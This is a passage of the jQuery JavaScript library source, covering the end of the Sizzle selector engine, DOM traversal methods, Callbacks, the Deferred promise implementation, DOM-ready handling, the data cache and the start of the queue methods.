duplicates if they aren't passed to the comparison function support.detectDuplicates = !!hasDuplicate; // Initialize against the default document setDocument(); // Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27) // Detached nodes confoundingly follow *each other* support.sortDetached = assert(function( el ) { // Should return 1, but returns 4 (following) return el.compareDocumentPosition( document.createElement("fieldset") ) & 1; }); // Support: IE<8 // Prevent attribute/property "interpolation" // https://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx if ( !assert(function( el ) { el.innerHTML = "<a href='#'></a>"; return el.firstChild.getAttribute("href") === "#" ; }) ) { addHandle( "type|href|height|width", function( elem, name, isXML ) { if ( !isXML ) { return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 ); } }); } // Support: IE<9 // Use defaultValue in place of getAttribute("value") if ( !support.attributes || !assert(function( el ) { el.innerHTML = "<input/>"; el.firstChild.setAttribute( "value", "" ); return el.firstChild.getAttribute( "value" ) === ""; }) ) { addHandle( "value", function( elem, name, isXML ) { if ( !isXML && elem.nodeName.toLowerCase() === "input" ) { return elem.defaultValue; } }); } // Support: IE<9 // Use getAttributeNode to fetch booleans when getAttribute lies if ( !assert(function( el ) { return el.getAttribute("disabled") == null; }) ) { addHandle( booleans, function( elem, name, isXML ) { var val; if ( !isXML ) { return elem[ name ] === true ? name.toLowerCase() : (val = elem.getAttributeNode( name )) && val.specified ? val.value : null; } }); } return Sizzle; })( window ); jQuery.find = Sizzle; jQuery.expr = Sizzle.selectors; // Deprecated jQuery.expr[ ":" ] = jQuery.expr.pseudos; jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort; jQuery.text = Sizzle.getText; jQuery.isXMLDoc = Sizzle.isXML; jQuery.contains = Sizzle.contains; jQuery.escapeSelector = Sizzle.escape; var dir = function( elem, dir, until ) { var matched = [], truncate = until !== undefined; while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; }; var siblings = function( n, elem ) { var matched = []; for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } } return matched; }; var rneedsContext = jQuery.expr.match.needsContext; var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i ); var risSimple = /^.[^:#\[\.,]*$/; // Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; } ); } if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } ); } if ( typeof qualifier === "string" ) { if ( risSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); } qualifier = jQuery.filter( qualifier, elements ); } return jQuery.grep( elements, function( elem ) { return ( indexOf.call( qualifier, elem ) > -1 ) !== not && elem.nodeType === 1; } ); } jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ]; if ( not ) { expr = ":not(" + expr + ")"; } return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); }; jQuery.fn.extend( { find: function( selector ) { var i, ret, len = this.length, self = this; if ( typeof selector !== "string" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); } ret = this.pushStack( [] ); for ( i = 0; i < len; i++ ) { jQuery.find( selector, self[ i ], ret ); } return len > 1 ? jQuery.uniqueSort( ret ) : ret; }, filter: function( selector ) { return this.pushStack( winnow( this, selector || [], false ) ); }, not: function( selector ) { return this.pushStack( winnow( this, selector || [], true ) ); }, is: function( selector ) { return !!winnow( this, // If this is a positional/relative selector, check membership in the returned set // so $("p:first").is("p:last") won't return true for a doc with two "p". typeof selector === "string" && rneedsContext.test( selector ) ? jQuery( selector ) : selector || [], false ).length; } } ); // Initialize a jQuery object // A central reference to the root jQuery(document) var rootjQuery, // A simple way to check for HTML strings // Prioritize #id over <tag> to avoid XSS via location.hash (#9521) // Strict HTML recognition (#11290: must start with <) // Shortcut simple #id case for speed rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/, init = jQuery.fn.init = function( selector, context, root ) { var match, elem; // HANDLE: $(""), $(null), $(undefined), $(false) if ( !selector ) { return this; } // Method init() accepts an alternate rootjQuery // so migrate can support jQuery.sub (gh-2101) root = root || rootjQuery; // Handle HTML strings if ( typeof selector === "string" ) { if ( selector[ 0 ] === "<" && selector[ selector.length - 1 ] === ">" && selector.length >= 3 ) { // Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ]; } else { match = rquickExpr.exec( selector ); } // Match html or make sure no context is specified for #id if ( match && ( match[ 1 ] || !context ) ) { // HANDLE: $(html) -> $(array) if ( match[ 1 ] ) { context = context instanceof jQuery ? context[ 0 ] : context; // Option to run scripts is true for back-compat // Intentionally let the error be thrown if parseHTML is not present jQuery.merge( this, jQuery.parseHTML( match[ 1 ], context && context.nodeType ? context.ownerDocument || context : document, true ) ); // HANDLE: $(html, props) if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) { for ( match in context ) { // Properties of context are called as methods if possible if ( jQuery.isFunction( this[ match ] ) ) { this[ match ]( context[ match ] ); // ...and otherwise set as attributes } else { this.attr( match, context[ match ] ); } } } return this; // HANDLE: $(#id) } else { elem = document.getElementById( match[ 2 ] ); if ( elem ) { // Inject the element directly into the jQuery object this[ 0 ] = elem; this.length = 1; } return this; } // HANDLE: $(expr, $(...)) } else if ( !context || context.jquery ) { return ( context || root ).find( selector ); // HANDLE: $(expr, context) // (which is just equivalent to: $(context).find(expr) } else { return this.constructor( context ).find( selector ); } // HANDLE: $(DOMElement) } else if ( selector.nodeType ) { this[ 0 ] = selector; this.length = 1; return this; // HANDLE: $(function) // Shortcut for document ready } else if ( jQuery.isFunction( selector ) ) { return root.ready !== undefined ? root.ready( selector ) : // Execute immediately if ready is not present selector( jQuery ); } return jQuery.makeArray( selector, this ); }; // Give the init function the jQuery prototype for later instantiation init.prototype = jQuery.fn; // Initialize central reference rootjQuery = jQuery( document ); var rparentsprev = /^(?:parents|prev(?:Until|All))/, // Methods guaranteed to produce a unique set when starting from a unique set guaranteedUnique = { children: true, contents: true, next: true, prev: true }; jQuery.fn.extend( { has: function( target ) { var targets = jQuery( target, this ), l = targets.length; return this.filter( function() { var i = 0; for ( ; i < l; i++ ) { if ( jQuery.contains( this, targets[ i ] ) ) { return true; } } } ); }, closest: function( selectors, context ) { var cur, i = 0, l = this.length, matched = [], targets = typeof selectors !== "string" && jQuery( selectors ); // Positional selectors never match, since there's no _selection_ context if ( !rneedsContext.test( selectors ) ) { for ( ; i < l; i++ ) { for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) { // Always skip document fragments if ( cur.nodeType < 11 && ( targets ? targets.index( cur ) > -1 : // Don't pass non-elements to Sizzle cur.nodeType === 1 && jQuery.find.matchesSelector( cur, selectors ) ) ) { matched.push( cur ); break; } } } } return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched ); }, // Determine the position of an element within the set index: function( elem ) { // No argument, return index in parent if ( !elem ) { return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1; } // Index in selector if ( typeof elem === "string" ) { return indexOf.call( jQuery( elem ), this[ 0 ] ); } // Locate the position of the desired element return indexOf.call( this, // If it receives a jQuery object, the first element is used elem.jquery ? elem[ 0 ] : elem ); }, add: function( selector, context ) { return this.pushStack( jQuery.uniqueSort( jQuery.merge( this.get(), jQuery( selector, context ) ) ) ); }, addBack: function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter( selector ) ); } } ); function sibling( cur, dir ) { while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {} return cur; } jQuery.each( { parent: function( elem ) { var parent = elem.parentNode; return parent && parent.nodeType !== 11 ? parent : null; }, parents: function( elem ) { return dir( elem, "parentNode" ); }, parentsUntil: function( elem, i, until ) { return dir( elem, "parentNode", until ); }, next: function( elem ) { return sibling( elem, "nextSibling" ); }, prev: function( elem ) { return sibling( elem, "previousSibling" ); }, nextAll: function( elem ) { return dir( elem, "nextSibling" ); }, prevAll: function( elem ) { return dir( elem, "previousSibling" ); }, nextUntil: function( elem, i, until ) { return dir( elem, "nextSibling", until ); }, prevUntil: function( elem, i, until ) { return dir( elem, "previousSibling", until ); }, siblings: function( elem ) { return siblings( ( elem.parentNode || {} ).firstChild, elem ); }, children: function( elem ) { return siblings( elem.firstChild ); }, contents: function( elem ) { return elem.contentDocument || jQuery.merge( [], elem.childNodes ); } }, function( name, fn ) { jQuery.fn[ name ] = function( until, selector ) { var matched = jQuery.map( this, fn, until ); if ( name.slice( -5 ) !== "Until" ) { selector = until; } if ( selector && typeof selector === "string" ) { matched = jQuery.filter( selector, matched ); } if ( this.length > 1 ) { // Remove duplicates if ( !guaranteedUnique[ name ] ) { jQuery.uniqueSort( matched ); } // Reverse order for parents* and prev-derivatives if ( rparentsprev.test( name ) ) { matched.reverse(); } } return this.pushStack( matched ); }; } ); var rnotwhite = ( /\S+/g ); // Convert String-formatted options into Object-formatted ones function createOptions( options ) { var object = {}; jQuery.each( options.match( rnotwhite ) || [], function( _, flag ) { object[ flag ] = true; } ); return object; } /* * Create a callback list using the following parameters: * * options: an optional list of space-separated options that will change how * the callback list behaves or a more traditional option object * * By default a callback list will act like an event callback list and can be * "fired" multiple times. * * Possible options: * * once: will ensure the callback list can only be fired once (like a Deferred) * * memory: will keep track of previous values and will call any callback added * after the list has been fired right away with the latest "memorized" * values (like a Deferred) * * unique: will ensure a callback can only be added once (no duplicate in the list) * * stopOnFalse: interrupt callings when a callback returns false * */ jQuery.Callbacks = function( options ) { // Convert options from String-formatted to Object-formatted if needed // (we check in cache first) options = typeof options === "string" ? createOptions( options ) : jQuery.extend( {}, options ); var // Flag to know if list is currently firing firing, // Last fire value for non-forgettable lists memory, // Flag to know if list was already fired fired, // Flag to prevent firing locked, // Actual callback list list = [], // Queue of execution data for repeatable lists queue = [], // Index of currently firing callback (modified by add/remove as needed) firingIndex = -1, // Fire callbacks fire = function() { // Enforce single-firing locked = options.once; // Execute callbacks for all pending executions, // respecting firingIndex overrides and runtime changes fired = firing = true; for ( ; queue.length; firingIndex = -1 ) { memory = queue.shift(); while ( ++firingIndex < list.length ) { // Run callback and check for early termination if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false && options.stopOnFalse ) { // Jump to end and forget the data so .add doesn't re-fire firingIndex = list.length; memory = false; } } } // Forget the data if we're done with it if ( !options.memory ) { memory = false; } firing = false; // Clean up if we're done firing for good if ( locked ) { // Keep an empty list if we have data for future add calls if ( memory ) { list = []; // Otherwise, this object is spent } else { list = ""; } } }, // Actual Callbacks object self = { // Add a callback or a collection of callbacks to the list add: function() { if ( list ) { // If we have memory from a past run, we should fire after adding if ( memory && !firing ) { firingIndex = list.length - 1; queue.push( memory ); } ( function add( args ) { jQuery.each( args, function( _, arg ) { if ( jQuery.isFunction( arg ) ) { if ( !options.unique || !self.has( arg ) ) { list.push( arg ); } } else if ( arg && arg.length && jQuery.type( arg ) !== "string" ) { // Inspect recursively add( arg ); } } ); } )( arguments ); if ( memory && !firing ) { fire(); } } return this; }, // Remove a callback from the list remove: function() { jQuery.each( arguments, function( _, arg ) { var index; while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { list.splice( index, 1 ); // Handle firing indexes if ( index <= firingIndex ) { firingIndex--; } } } ); return this; }, // Check if a given callback is in the list. // If no argument is given, return whether or not list has callbacks attached. has: function( fn ) { return fn ? jQuery.inArray( fn, list ) > -1 : list.length > 0; }, // Remove all callbacks from the list empty: function() { if ( list ) { list = []; } return this; }, // Disable .fire and .add // Abort any current/pending executions // Clear all callbacks and values disable: function() { locked = queue = []; list = memory = ""; return this; }, disabled: function() { return !list; }, // Disable .fire // Also disable .add unless we have memory (since it would have no effect) // Abort any pending executions lock: function() { locked = queue = []; if ( !memory && !firing ) { list = memory = ""; } return this; }, locked: function() { return !!locked; }, // Call all callbacks with the given context and arguments fireWith: function( context, args ) { if ( !locked ) { args = args || []; args = [ context, args.slice ? args.slice() : args ]; queue.push( args ); if ( !firing ) { fire(); } } return this; }, // Call all the callbacks with the given arguments fire: function() { self.fireWith( this, arguments ); return this; }, // To know if the callbacks have already been called at least once fired: function() { return !!fired; } }; return self; }; function Identity( v ) { return v; } function Thrower( ex ) { throw ex; } function adoptValue( value, resolve, reject ) { var method; try { // Check for promise aspect first to privilege synchronous behavior if ( value && jQuery.isFunction( ( method = value.promise ) ) ) { method.call( value ).done( resolve ).fail( reject ); // Other thenables } else if ( value && jQuery.isFunction( ( method = value.then ) ) ) { method.call( value, resolve, reject ); // Other non-thenables } else { // Support: Android 4.0 only // Strict mode functions invoked without .call/.apply get global-object context resolve.call( undefined, value ); } // For Promises/A+, convert exceptions into rejections // Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in // Deferred#then to conditionally suppress rejection. } catch ( /*jshint -W002 */ value ) { // Support: Android 4.0 only // Strict mode functions invoked without .call/.apply get global-object context reject.call( undefined, value ); } } jQuery.extend( { Deferred: function( func ) { var tuples = [ // action, add listener, callbacks, // ... .then handlers, argument index, [final state] [ "notify", "progress", jQuery.Callbacks( "memory" ), jQuery.Callbacks( "memory" ), 2 ], [ "resolve", "done", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), 0, "resolved" ], [ "reject", "fail", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), 1, "rejected" ] ], state = "pending", promise = { state: function() { return state; }, always: function() { deferred.done( arguments ).fail( arguments ); return this; }, "catch": function( fn ) { return promise.then( null, fn ); }, // Keep pipe for back-compat pipe: function( /* fnDone, fnFail, fnProgress */ ) { var fns = arguments; return jQuery.Deferred( function( newDefer ) { jQuery.each( tuples, function( i, tuple ) { // Map tuples (progress, done, fail) to arguments (done, fail, progress) var fn = jQuery.isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ]; // deferred.progress(function() { bind to newDefer or newDefer.notify }) // deferred.done(function() { bind to newDefer or newDefer.resolve }) // deferred.fail(function() { bind to newDefer or newDefer.reject }) deferred[ tuple[ 1 ] ]( function() { var returned = fn && fn.apply( this, arguments ); if ( returned && jQuery.isFunction( returned.promise ) ) { returned.promise() .progress( newDefer.notify ) .done( newDefer.resolve ) .fail( newDefer.reject ); } else { newDefer[ tuple[ 0 ] + "With" ]( this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); }, then: function( onFulfilled, onRejected, onProgress ) { var maxDepth = 0; function resolve( depth, deferred, handler, special ) { return function() { var that = this, args = arguments, mightThrow = function() { var returned, then; // Support: Promises/A+ section 2.3.3.3.3 // https://promisesaplus.com/#point-59 // Ignore double-resolution attempts if ( depth < maxDepth ) { return; } returned = handler.apply( that, args ); // Support: Promises/A+ section 2.3.1 // https://promisesaplus.com/#point-48 if ( returned === deferred.promise() ) { throw new TypeError( "Thenable self-resolution" ); } // Support: Promises/A+ sections 2.3.3.1, 3.5 // https://promisesaplus.com/#point-54 // https://promisesaplus.com/#point-75 // Retrieve `then` only once then = returned && // Support: Promises/A+ section 2.3.4 // https://promisesaplus.com/#point-64 // Only check objects and functions for thenability ( typeof returned === "object" || typeof returned === "function" ) && returned.then; // Handle a returned thenable if ( jQuery.isFunction( then ) ) { // Special processors (notify) just wait for resolution if ( special ) { then.call( returned, resolve( maxDepth, deferred, Identity, special ), resolve( maxDepth, deferred, Thrower, special ) ); // Normal processors (resolve) also hook into progress } else { // ...and disregard older resolution values maxDepth++; then.call( returned, resolve( maxDepth, deferred, Identity, special ), resolve( maxDepth, deferred, Thrower, special ), resolve( maxDepth, deferred, Identity, deferred.notifyWith ) ); } // Handle all other returned values } else { // Only substitute handlers pass on context // and multiple values (non-spec behavior) if ( handler !== Identity ) { that = undefined; args = [ returned ]; } // Process the value(s) // Default process is resolve ( special || deferred.resolveWith )( that, args ); } }, // Only normal processors (resolve) catch and reject exceptions process = special ? mightThrow : function() { try { mightThrow(); } catch ( e ) { if ( jQuery.Deferred.exceptionHook ) { jQuery.Deferred.exceptionHook( e, process.stackTrace ); } // Support: Promises/A+ section 2.3.3.3.4.1 // https://promisesaplus.com/#point-61 // Ignore post-resolution exceptions if ( depth + 1 >= maxDepth ) { // Only substitute handlers pass on context // and multiple values (non-spec behavior) if ( handler !== Thrower ) { that = undefined; args = [ e ]; } deferred.rejectWith( that, args ); } } }; // Support: Promises/A+ section 2.3.3.3.1 // https://promisesaplus.com/#point-57 // Re-resolve promises immediately to dodge false rejection from // subsequent errors if ( depth ) { process(); } else { // Call an optional hook to record the stack, in case of exception // since it's otherwise lost when execution goes async if ( jQuery.Deferred.getStackHook ) { process.stackTrace = jQuery.Deferred.getStackHook(); } window.setTimeout( process ); } }; } return jQuery.Deferred( function( newDefer ) { // progress_handlers.add( ... ) tuples[ 0 ][ 3 ].add( resolve( 0, newDefer, jQuery.isFunction( onProgress ) ? onProgress : Identity, newDefer.notifyWith ) ); // fulfilled_handlers.add( ... ) tuples[ 1 ][ 3 ].add( resolve( 0, newDefer, jQuery.isFunction( onFulfilled ) ? onFulfilled : Identity ) ); // rejected_handlers.add( ... ) tuples[ 2 ][ 3 ].add( resolve( 0, newDefer, jQuery.isFunction( onRejected ) ? onRejected : Thrower ) ); } ).promise(); }, // Get a promise for this deferred // If obj is provided, the promise aspect is added to the object promise: function( obj ) { return obj != null ? jQuery.extend( obj, promise ) : promise; } }, deferred = {}; // Add list-specific methods jQuery.each( tuples, function( i, tuple ) { var list = tuple[ 2 ], stateString = tuple[ 5 ]; // promise.progress = list.add // promise.done = list.add // promise.fail = list.add promise[ tuple[ 1 ] ] = list.add; // Handle state if ( stateString ) { list.add( function() { // state = "resolved" (i.e., fulfilled) // state = "rejected" state = stateString; }, // rejected_callbacks.disable // fulfilled_callbacks.disable tuples[ 3 - i ][ 2 ].disable, // progress_callbacks.lock tuples[ 0 ][ 2 ].lock ); } // progress_handlers.fire // fulfilled_handlers.fire // rejected_handlers.fire list.add( tuple[ 3 ].fire ); // deferred.notify = function() { deferred.notifyWith(...) } // deferred.resolve = function() { deferred.resolveWith(...) } // deferred.reject = function() { deferred.rejectWith(...) } deferred[ tuple[ 0 ] ] = function() { deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments ); return this; }; // deferred.notifyWith = list.fireWith // deferred.resolveWith = list.fireWith // deferred.rejectWith = list.fireWith deferred[ tuple[ 0 ] + "With" ] = list.fireWith; } ); // Make the deferred a promise promise.promise( deferred ); // Call given func if any if ( func ) { func.call( deferred, deferred ); } // All done! return deferred; }, // Deferred helper when: function( singleValue ) { var // count of uncompleted subordinates remaining = arguments.length, // count of unprocessed arguments i = remaining, // subordinate fulfillment data resolveContexts = Array( i ), resolveValues = slice.call( arguments ), // the master Deferred master = jQuery.Deferred(), // subordinate callback factory updateFunc = function( i ) { return function( value ) { resolveContexts[ i ] = this; resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value; if ( !( --remaining ) ) { master.resolveWith( resolveContexts, resolveValues ); } }; }; // Single- and empty arguments are adopted like Promise.resolve if ( remaining <= 1 ) { adoptValue( singleValue, master.done( updateFunc( i ) ).resolve, master.reject ); // Use .then() to unwrap secondary thenables (cf. gh-3000) if ( master.state() === "pending" || jQuery.isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) { return master.then(); } } // Multiple arguments are aggregated like Promise.all array elements while ( i-- ) { adoptValue( resolveValues[ i ], updateFunc( i ), master.reject ); } return master.promise(); } } ); // These usually indicate a programmer mistake during development, // warn about them ASAP rather than swallowing them by default. var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; jQuery.Deferred.exceptionHook = function( error, stack ) { // Support: IE 8 - 9 only // Console exists when dev tools are open, which can happen at any time if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) { window.console.warn( "jQuery.Deferred exception: " + error.message, error.stack, stack ); } }; // The deferred used on DOM ready var readyList = jQuery.Deferred(); jQuery.fn.ready = function( fn ) { readyList.then( fn ); return this; }; jQuery.extend( { // Is the DOM ready to be used? Set to true once it occurs. isReady: false, // A counter to track how many items to wait for before // the ready event fires. See #6781 readyWait: 1, // Hold (or release) the ready event holdReady: function( hold ) { if ( hold ) { jQuery.readyWait++; } else { jQuery.ready( true ); } }, // Handle when the DOM is ready ready: function( wait ) { // Abort if there are pending holds or we're already ready if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { return; } // Remember that the DOM is ready jQuery.isReady = true; // If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; } // If there are functions bound, to execute readyList.resolveWith( document, [ jQuery ] ); } } ); jQuery.ready.then = readyList.then; // The ready event handler and self cleanup method function completed() { document.removeEventListener( "DOMContentLoaded", completed ); window.removeEventListener( "load", completed ); jQuery.ready(); } // Catch cases where $(document).ready() is called // after the browser event has already occurred. // Support: IE <=9 - 10 only // Older IE sometimes signals "interactive" too soon if ( document.readyState === "complete" || ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) { // Handle it asynchronously to allow scripts the opportunity to delay ready window.setTimeout( jQuery.ready ); } else { // Use the handy event callback document.addEventListener( "DOMContentLoaded", completed ); // A fallback to window.onload, that will always work window.addEventListener( "load", completed ); } // Multifunctional method to get and set values of a collection // The value/s can optionally be executed if it's a function var access = function( elems, fn, key, value, chainable, emptyGet, raw ) { var i = 0, len = elems.length, bulk = key == null; // Sets many values if ( jQuery.type( key ) === "object" ) { chainable = true; for ( i in key ) { access( elems, fn, i, key[ i ], true, emptyGet, raw ); } // Sets one value } else if ( value !== undefined ) { chainable = true; if ( !jQuery.isFunction( value ) ) { raw = true; } if ( bulk ) { // Bulk operations run against the entire set if ( raw ) { fn.call( elems, value ); fn = null; // ...except when executing function values } else { bulk = fn; fn = function( elem, key, value ) { return bulk.call( jQuery( elem ), value ); }; } } if ( fn ) { for ( ; i < len; i++ ) { fn( elems[ i ], key, raw ? value : value.call( elems[ i ], i, fn( elems[ i ], key ) ) ); } } } return chainable ? elems : // Gets bulk ? fn.call( elems ) : len ? fn( elems[ 0 ], key ) : emptyGet; }; var acceptData = function( owner ) { // Accepts only: // - Node // - Node.ELEMENT_NODE // - Node.DOCUMENT_NODE // - Object // - Any /* jshint -W018 */ return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType ); }; function Data() { this.expando = jQuery.expando + Data.uid++; } Data.uid = 1; Data.prototype = { cache: function( owner ) { // Check if the owner object already has a cache var value = owner[ this.expando ]; // If not, create one if ( !value ) { value = {}; // We can accept data for non-element nodes in modern browsers, // but we should not, see #8335. // Always return an empty object. if ( acceptData( owner ) ) { // If it is a node unlikely to be stringify-ed or looped over // use plain assignment if ( owner.nodeType ) { owner[ this.expando ] = value; // Otherwise secure it in a non-enumerable property // configurable must be true to allow the property to be // deleted when data is removed } else { Object.defineProperty( owner, this.expando, { value: value, configurable: true } ); } } } return value; }, set: function( owner, data, value ) { var prop, cache = this.cache( owner ); // Handle: [ owner, key, value ] args // Always use camelCase key (gh-2257) if ( typeof data === "string" ) { cache[ jQuery.camelCase( data ) ] = value; // Handle: [ owner, { properties } ] args } else { // Copy the properties one-by-one to the cache object for ( prop in data ) { cache[ jQuery.camelCase( prop ) ] = data[ prop ]; } } return cache; }, get: function( owner, key ) { return key === undefined ? this.cache( owner ) : // Always use camelCase key (gh-2257) owner[ this.expando ] && owner[ this.expando ][ jQuery.camelCase( key ) ]; }, access: function( owner, key, value ) { // In cases where either: // // 1. No key was specified // 2. A string key was specified, but no value provided // // Take the "read" path and allow the get method to determine // which value to return, respectively either: // // 1. The entire cache object // 2. The data stored at the key // if ( key === undefined || ( ( key && typeof key === "string" ) && value === undefined ) ) { return this.get( owner, key ); } // When the key is not a string, or both a key and value // are specified, set or extend (existing objects) with either: // // 1. An object of properties // 2. A key and value // this.set( owner, key, value ); // Since the "set" path can have two possible entry points // return the expected data based on which path was taken[*] return value !== undefined ? value : key; }, remove: function( owner, key ) { var i, cache = owner[ this.expando ]; if ( cache === undefined ) { return; } if ( key !== undefined ) { // Support array or space separated string of keys if ( jQuery.isArray( key ) ) { // If key is an array of keys... // We always set camelCase keys, so remove that. key = key.map( jQuery.camelCase ); } else { key = jQuery.camelCase( key ); // If a key with the spaces exists, use it. // Otherwise, create an array by matching non-whitespace key = key in cache ? [ key ] : ( key.match( rnotwhite ) || [] ); } i = key.length; while ( i-- ) { delete cache[ key[ i ] ]; } } // Remove the expando if there's no more data if ( key === undefined || jQuery.isEmptyObject( cache ) ) { // Support: Chrome <=35 - 45 // Webkit & Blink performance suffers when deleting properties // from DOM nodes, so set to undefined instead // https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted) if ( owner.nodeType ) { owner[ this.expando ] = undefined; } else { delete owner[ this.expando ]; } } }, hasData: function( owner ) { var cache = owner[ this.expando ]; return cache !== undefined && !jQuery.isEmptyObject( cache ); } }; var dataPriv = new Data(); var dataUser = new Data(); // Implementation Summary // // 1. Enforce API surface and semantic compatibility with 1.9.x branch // 2. Improve the module's maintainability by reducing the storage // paths to a single mechanism. // 3. Use the same single mechanism to support "private" and "user" data. // 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData) // 5. Avoid exposing implementation details on user objects (eg. expando properties) // 6. Provide a clear path for implementation upgrade to WeakMap in 2014 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, rmultiDash = /[A-Z]/g; function dataAttr( elem, key, data ) { var name; // If nothing was found internally, try to fetch any // data from the HTML5 data-* attribute if ( data === undefined && elem.nodeType === 1 ) { name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase(); data = elem.getAttribute( name ); if ( typeof data === "string" ) { try { data = data === "true" ? true : data === "false" ? false : data === "null" ? null : // Only convert to a number if it doesn't change the string +data + "" === data ? +data : rbrace.test( data ) ? JSON.parse( data ) : data; } catch ( e ) {} // Make sure we set the data so it isn't changed later dataUser.set( elem, key, data ); } else { data = undefined; } } return data; } jQuery.extend( { hasData: function( elem ) { return dataUser.hasData( elem ) || dataPriv.hasData( elem ); }, data: function( elem, name, data ) { return dataUser.access( elem, name, data ); }, removeData: function( elem, name ) { dataUser.remove( elem, name ); }, // TODO: Now that all calls to _data and _removeData have been replaced // with direct calls to dataPriv methods, these can be deprecated. _data: function( elem, name, data ) { return dataPriv.access( elem, name, data ); }, _removeData: function( elem, name ) { dataPriv.remove( elem, name ); } } ); jQuery.fn.extend( { data: function( key, value ) { var i, name, data, elem = this[ 0 ], attrs = elem && elem.attributes; // Gets all values if ( key === undefined ) { if ( this.length ) { data = dataUser.get( elem ); if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) { i = attrs.length; while ( i-- ) { // Support: IE 11 only // The attrs elements can be null (#14894) if ( attrs[ i ] ) { name = attrs[ i ].name; if ( name.indexOf( "data-" ) === 0 ) { name = jQuery.camelCase( name.slice( 5 ) ); dataAttr( elem, name, data[ name ] ); } } } dataPriv.set( elem, "hasDataAttrs", true ); } } return data; } // Sets multiple values if ( typeof key === "object" ) { return this.each( function() { dataUser.set( this, key ); } ); } return access( this, function( value ) { var data; // The calling jQuery object (element matches) is not empty // (and therefore has an element appears at this[ 0 ]) and the // `value` parameter was not undefined. An empty jQuery object // will result in `undefined` for elem = this[ 0 ] which will // throw an exception if an attempt to read a data cache is made. if ( elem && value === undefined ) { // Attempt to get data from the cache // The key will always be camelCased in Data data = dataUser.get( elem, key ); if ( data !== undefined ) { return data; } // Attempt to "discover" the data in // HTML5 custom data-* attrs data = dataAttr( elem, key ); if ( data !== undefined ) { return data; } // We tried really hard, but the data doesn't exist. return; } // Set the data... this.each( function() { // We always store the camelCased key dataUser.set( this, key, value ); } ); }, null, value, arguments.length > 1, null, true ); }, removeData: function( key ) { return this.each( function() { dataUser.remove( this, key ); } ); } } ); jQuery.extend( { queue: function( elem, type, data ) { var queue; if ( elem ) { type = ( type || "fx" ) + "queue"; queue = dataPriv.get( elem, type ); // Speed up dequeue by getting out quickly if this is just a lookup if ( data ) { if ( !queue || jQuery.isArray( data ) ) { queue = dataPriv.access( elem, type, jQuery.makeArray( data ) ); } else { queue.push( data ); } } return queue || []; } }, dequeue: function( elem, type ) { type = type || "fx"; var queue = jQuery.queue( elem, type ), startLength = queue.length, fn = queue.shift(), hooks = jQuery._queueHooks( elem, type ), next = function() { jQuery.dequeue( elem, type ); }; // If the fx queue is dequeued, always remove the progress sentinel if ( fn === "inprogress" ) { fn = queue.shift(); startLength--; } if ( fn ) { // Add a progress sentinel to prevent the fx queue from being // automatically dequeued if ( type === "fx" ) { queue.unshift( "inprogress" ); } // Clear up the last queue stop function delete hooks.stop; fn.call( elem, next, hooks ); } if ( !startLength && hooks ) { hooks.empty.fire(); } }, // Not public - generate a queueHooks object, or return the current one _queueHooks: function( elem, type ) { var key = type + "queueHooks"; return dataPriv.get( elem, key ) || dataPriv.access( elem, key, { empty: jQuery.Callbacks( "once memory" ).add( function() { dataPriv.remove( elem, [ type + "queue", key ] ); } ) } ); } } ); jQuery.fn.extend( { queue: function( type, data ) { var setter = 2; if ( typeof type !== "string" ) { data = type; type = "fx"; setter--; } if ( arguments.length < setter ) { return jQuery.queue( this[ 0 ], type ); } return data === undefined ? this : this.each( function() 